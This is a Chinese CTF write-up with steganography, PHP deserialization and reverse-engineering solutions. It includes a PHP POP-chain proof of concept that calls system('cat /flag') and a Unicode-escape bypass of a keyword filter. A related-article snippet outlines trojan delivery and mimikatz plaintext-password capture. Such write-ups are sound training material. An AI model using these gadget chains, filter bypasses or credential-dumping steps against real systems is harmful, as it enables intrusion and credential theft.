掌控安全CTF-2024年5月擂台赛-WP(部分)

MISC

ez_Misc

题目给了一个加密的压缩包和一个文本文档,首先我们先来看文本的内容,如下:

很容易看出,0宽隐写,用PuzzleSolver梭哈一下,发现了:Thi3 is n0t 2 hint

又在文本中发现一个特征,标点符号只有“,”和“。” 猜测为二进制,将“,”替换为“0”;“。”替换为“1”,可得到一串字符:

01111010011010110110000101110001001000010100000000110011001100010011001000110011

用赛博橱子解密一下得到压缩包密码:zkaq!@3123

解开压缩包后得到flag.apng,直接用工具apngdis_gui可以分离出四张图片

可以发现第四张图片有点可疑,是黑的,不过我们能隐约看出来有张二维码在上面

直接使用QR扫描即可得到一串base64密文:ZmxhZ3thcG5nX2lzX2V6fQ==,解密后得到flag

flag{apng_is_ez}

如果实在没看到的话(或者扫不出来),可以放stegsolve里面看看,red plane 3,够清晰了吧哈哈哈。

扫描结果都是一样的,如下图:

ezBMP

题目只给了一个bmp文件,一开始试了好多东西都没什么好的结果,后来使用工具Picsel梭了

首先我们先试用foremost分离一下1.bmp,可以得到两张bmp文件

foremost -T 1.bmp

然后直接使用Picsel,过程大致如下:

先选择 Open Original Image,放入第一个图片00000000.bmp,再点击Decrypt Image功能,选择第二个图片00000113.bmp

得到flag:flag{ez_zkaq_steganography_xor}

Web

Base_pop

进入页面,只给了一个信息source=1,访问一下得到了php源码

分析一下我们需要

创建一个 Joker 对象并对其进行序列化。
然后对序列化字符串进行base64编码并输出。
当这个序列化对象被反序列化时,会调用 Joker 类的 __destruct 方法,继而调用 Bigger 类的 __toString 方法。
__toString 方法尝试调用 Lisa 对象的 print 方法。
由于 Lisa 没有 print 方法,会触发 __call 魔术方法,从而执行 system('cat /flag')。

Poc如下:

<?php
class Bigger{public $Processing_strings;function __construct(){$this->Processing_strings=new Lisa();}public function __toString(){echo 'aaa';$this->Processing_strings->print();}
}
class Joker{private $Error;function __construct(){$this->Error=new Bigger();}public function __destruct(){echo 'bbb';echo($this->Error);}
}
​
class Toke{public function print(){echo "===========print=========";}
}
class Lisa{public function __call($name, $arguments){system('cat /flag');}
}
$a=new Joker();
echo base64_encode(serialize($a));

运行后得到

Tzo1OiJKb2tlciI6MTp7czoxMjoiAEpva2VyAEVycm9yIjtPOjY6IkJpZ2dlciI6MTp7czoxODoiUHJvY2Vzc2luZ19zdHJpbmdzIjtPOjQ6Ikxpc2EiOjA6e319fQ==bbbaaa,#bbbaaa上传的时候去掉

根据PHP源码可知我们上传的时候需要使用PUT方式,而且pop被过滤了,将php转义一下,可以使用unicode编码绕过(因为这里上传的是json数据,“pop”=="\u0070\u006f\u0070"),发包后即可得到flag:flag{b4e0890d58dd4208bb832915dae872e1}

Reverse

做题做累了,来玩一会游戏吧

题目给了一个1.c3p文件,放入010查看发现pk字样,我直接改后缀为zip,解压后得到一堆文件,查看了很多文件信息,最终在文件夹eventSheets里的“事件表 2.json”发现关键信息,如下:

标签内容为:let i;\nlet a = [109, 119, 106, 108, 128, 58, 58, 57, 109, 100, 105, 104, 111, 109, 100, 57, 63, 66, 66, 100, 104, 59, 63, 62, 60, 60, 56, 134];\nlet c = \"\";\nlet tmp;\nfor (i=0;i<28;i++)\n{\n\ttmp = a[i];\n\ttmp = tmp ^ 3;\n\ttmp -= 8;\n\tc += String.fromCharCode(tmp);\n\n}\n// console.log(c);\nruntime.globalVars.flag = c;\n
​
​
这段代码对一个数组的每个元素进行了一些运算,然后将结果转换为字符并组合成一个字符串。让我们一步步地解释这段代码:
​
定义了一个包含28个元素的数组 a。
初始化一个空字符串 c。
使用一个循环遍历数组 a 的每个元素(从 i = 0 到 i < 28)。
在循环内部,对每个元素 tmp 执行以下操作:
将元素与3进行异或运算 (tmp = tmp ^ 3)
将结果减去8 (tmp -= 8)
将结果转换为字符并附加到字符串 c 上
最终的结果存储在 runtime.globalVars.flag 中。
​
下面是代码的具体步骤和解释:
​
#javascript
let a = [109, 119, 106, 108, 128, 58, 58, 57, 109, 100, 105, 104, 111, 109, 100, 57, 63, 66, 66, 100, 104, 59, 63, 62, 60, 60, 56, 134];
let c = "";
let tmp;
for (let i = 0; i < 28; i++) {tmp = a[i];tmp = tmp ^ 3;tmp -= 8;c += String.fromCharCode(tmp);
}
// console.log(c);
runtime.globalVars.flag = c;

我们可以使用 Python 来执行相同的操作,并得到最终的字符串 c: 

#python
a = [109, 119, 106, 108, 128, 58, 58, 57, 109, 100, 105, 104, 111, 109, 100, 57, 63, 66, 66, 100, 104, 59, 63, 62, 60, 60, 56, 134]
c = ""
for i in range(28):tmp = a[i]tmp = tmp ^ 3tmp -= 8c += chr(tmp)
​
print(c)

运行上述 Python 代码,可以得到字符串 c,即: flag{112f_bcdf_2499_c045773}

givemeflag

放入ida,查看main函数

点击check函数,如下:

定位到table和funcs

将table数据提取出来,用16进制表示

table = [0x00, 0xD5, 0x0A, 0x02, 0xEB, 0x0A, 0xD0, 0x33, 0x1C, 0xEB, 0xE5,0x01, 0xC0, 0xFC, 0x22, 0xEC, 0x26, 0x01, 0x06, 0x02, 0x00, 0xF3, 0x35,0x11, 0x0A, 0xFE, 0x27, 0x11, 0x3C, 0x2B, 0x22, 0x07, 0x13, 0xBA
]

编写exp:

# 给定的字符串和数组
str = "fAkeflag{tHis_Is_nOt_the_rEal_Flag}"
​
# 加密所需的数组
encryption_table = [0x00, 0xD5, 0x0A, 0x02, 0xEB, 0x0A, 0xD0, 0x33, 0x1C, 0xEB, 0xE5,0x01, 0xC0, 0xFC, 0x22, 0xEC, 0x26, 0x01, 0x06, 0x02, 0x00, 0xF3, 0x35,0x11, 0x0A, 0xFE, 0x27, 0x11, 0x3C, 0x2B, 0x22, 0x07, 0x13, 0xBA
]
​
# 将输入字符串转换为字符列表以进行可变操作
char_list = list(str)
​
# 迭代数组并加密字符串
for i, value in enumerate(encryption_table):# 每次迭代获取字符列表和数组的长度char_index = i % len(char_list)
​# 根据索引对3取模的结果执行不同的加密操作if i % 3 == 0:# 增加ASCII值char_list[char_index] = chr((ord(char_list[char_index]) + value) % 256)elif i % 3 == 1:# 减去ASCII值char_list[char_index] = chr((ord(char_list[char_index]) - value) % 256)else:# 异或ASCII值char_list[char_index] = chr((ord(char_list[char_index]) ^ value) % 256)
​
# 将列表重新组合成字符串
flag = ''.join(char_list)
print(flag)

运行后得到flag:

flag{f14g_ch3ck_9oUr_g3titbr0ther!}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/17404.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【2024】高校网络安全管理运维赛

比赛时间&#xff1a;2024-05-06 Re-easyre 基本的base64换表&#xff0c;用CyberChef解密 Re-babyre 进入主函数&#xff0c;发现输入四次 看一下就知道是大数求解 (当初写的时候差不多 不知道为什么第四个总是算错…) from z3 import *s Solver() # 设置一个解方程的类…

中心渗透Ⅱ

cs与msf权限传递以及mimikatz抓取win2012明文密码 使用Cobalt Strike抓取win2012明文密码&#xff0c;将会话传递到Metasploit Framework上 1.cs生成木马并使目标服务器中马 建立监听生成木马 2.抓取目标主机的明文密码 通过修改注册表来让Wdigest Auth保存明文口令 shell …

技术就绪度

技术就绪度&#xff08;Technology Readiness Level&#xff0c;简称TRL&#xff09;这个术语中的每个字符可以这样理解&#xff1a; 技术&#xff08;Technology&#xff09;&#xff1a;指的是正在研发或评估的具体的技术、工具、材料或方法。这可以是一套软件程序、一个物理…

一分钟揭秘面试官真实意图,稳拿offer的面试秘诀!

想要在面试中脱颖而出&#xff0c;顺利获得心仪的offer吗&#xff1f;那么&#xff0c;你需要了解面试官背后的潜台词。通过解析这些潜台词&#xff0c;你将能更准确地把握面试官的期望&#xff0c;并给出他们最喜欢的回答。下面&#xff0c;就让我们一起揭开这层神秘的面纱&am…

深入pandas:数据分析

目录 前言 第一点&#xff1a;导入模块 第二点&#xff1a;准备数据 第三点&#xff1a;简单的分析数据 第四点&#xff1a;【重点】数据透支 总结 前言 在数据分析与挖掘的领域&#xff0c;了解如何使用工具和方法来探索数据是至关重要的。本文将探讨如何利用Python中的…

C语言常用字符串处理函数

C语言中包含了很多对字符串处理的函数,要使用这些函数&#xff0c; 首先需要导入头文件#include <string.h> 1. strlen() -- 计算字符串长度 原型: size_t strlen(char const *string); 例: char *str "abcde"; size_t len strlen(str); // 结果为…

【DevOps】Elasticsearch在Ubuntu 20.04上的安装与配置:详细指南

目录 一、ES 简介 1、核心概念 2、工作原理 3、 优势 二、ES 在 Ubuntu 20.04 上的安装 1、安装 Java 2、下载 ES 安装包 3、创建 ES 用户 4 、解压安装包 5、 配置 ES 6、 启动 ES 7、验证安装 三、ES 常用命令 1、创建索引 2、 插入文档 3、查询文档 四、ES…

1.6 分组延时,丢失和吞吐量

分组丢失和延时是怎样发生的&#xff1f; 在路由器缓冲区的分组队列  分组到达链路的速率超过了链路输出的能力  分组等待排到队头、被传输 分组排队&#xff0c;传输分组&#xff08;延时&#xff09; 分组到达路由器&#xff0c;没有可用的队列&#xff0c;则该分组被丢…

利用audacity和ffmpeg制作测试音频文件

最近要用SIPP测试一个场景&#xff0c;需要发送双声道/16K采样率/16bit量化的PCM流&#xff0c;但是下载的素材往往不能满足参数要求。那么就自己制作。 首先下载mp3文件&#xff0c;并用audacity打开。 接下来&#xff0c;点击菜单栏中轨道-重采样&#xff0c;将采样频率设为1…

Java:String、StringBuffer和StringBuilder的区别

参考&#xff1a; https://blog.csdn.net/kingzone_2008/article/details/9220691 https://blog.csdn.net/itchuxuezhe_yang/article/details/89966303 String 常量字符串&#xff0c;每次修改都是会新创建一个字符串&#xff0c;当要频繁修改字符串的时候不建议使用 String S…

C++实现日期类(类和对象总结与实践)

头文件&#xff1a; 首先&#xff0c;在头文件Date.h中声明日期类 先上代码&#xff0c;然后一步一步解析每个函数 #include<iostream> #include<assert.h> using namespace std;class Date {public:void Print() const;// 获取某年某月的天数// 这个函数会被频…

做好随时离开的准备:前一天还在为618加班到凌晨,第二天就被裁了

今日感悟 最近&#xff0c;一则令人唏嘘的新闻在网络上引起了广泛关注&#xff1a;一名员工前一天还在为618大促活动加班到凌晨&#xff0c;身心疲惫&#xff0c;然而第二天却收到了裁员通知&#xff0c;顿时陷入了失业的困境。 这则新闻不仅揭示了职场竞争的残酷现实&#xff…

有关服务器安全的反思

文章目录 前言MySQL数据库的安全物理服务器总结 前言 人都说学的越多&#xff0c;不懂的东西也就越多&#xff0c;很多人都会有这个感受&#xff0c;面对信息爆炸的互联网时代&#xff0c;有种“学不完&#xff0c;根本学不完”沧桑无力感&#xff0c;最近有关服务器安全的了解…

Flutter 中的 ConstrainedBox 小部件:全面指南

Flutter 中的 ConstrainedBox 小部件&#xff1a;全面指南 在 Flutter 的世界中&#xff0c;布局小部件扮演着至关重要的角色&#xff0c;它们帮助开发者以声明式的方式构建用户界面。ConstrainedBox 是其中一种强大的布局小部件&#xff0c;它允许开发者对子组件的尺寸施加额…

Vistual Studio Release模式 调试方法

在开发过程中&#xff0c;有时会遇到这样的问题&#xff1a;代码在Debug模式下运行良好&#xff0c;但在Release模式下运行却出现错误。通常&#xff0c;这类问题往往与缓冲区越界等内存管理相关的错误有关。在Release模式下&#xff0c;由于编译器的优化&#xff0c;错误更容易…

js全国省市区JSON数据(全)

AreaJson 就是全国省市区的具体数据信息&#xff0c;下面我自定义了一些方法&#xff0c;获取数据用的&#xff0c;不需要的可以删掉&#xff0c;只拿JSON内的数据即可 const AreaJson [{"name": "北京市","city": [{"name": "…

数据结构算法题day02

数据结构算法题day02 【day02】思想代码 【day02】 将两个有序顺序表合并为一个新的有序顺序表&#xff0c;并由函数返回结果顺序表。思想 两个有序顺序表&#xff0c;AB本身就是由大到小或者由小到大排序的顺序表。 思路比较经典&#xff0c;希望大家记忆 将AB中较小的依次存…

Git钩子(Hooks)之commit之前自动执行脚本

介绍 官方文档&#xff1a; 英文&#xff1a;https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks中文&#xff1a;https://git-scm.com/book/zh/v2/自定义-Git-Git-钩子 下面只复制了pre-commit部分文档&#xff0c;其他详见官方文档。 Git Hooks Like many other…

【绝地求生game】

编写一个完整的《绝地求生》这样的游戏程序代码是一个庞大的工程&#xff0c;涉及到成千上万行的代码和复杂的多模块协作。在这里&#xff0c;我可以提供一个非常简化的示例&#xff0c;用于演示游戏编程中可能用到的基本概念&#xff0c;比如玩家移动、基本物理和简单的游戏逻…

【Java面试】四、MySQL篇(上)

文章目录 1、定位慢查询2、慢查询的原因分析3、索引3.1 数据结构选用&#xff1a;二叉树 & 红黑树3.2 数据结构选用&#xff1a;B树 4、聚簇索引、非聚簇索引、回表查询4.1 聚簇索引、非聚簇索引4.2 回表查询 5、覆盖索引、超大分页优化5.1 覆盖索引5.2 超大分页处理 6、索…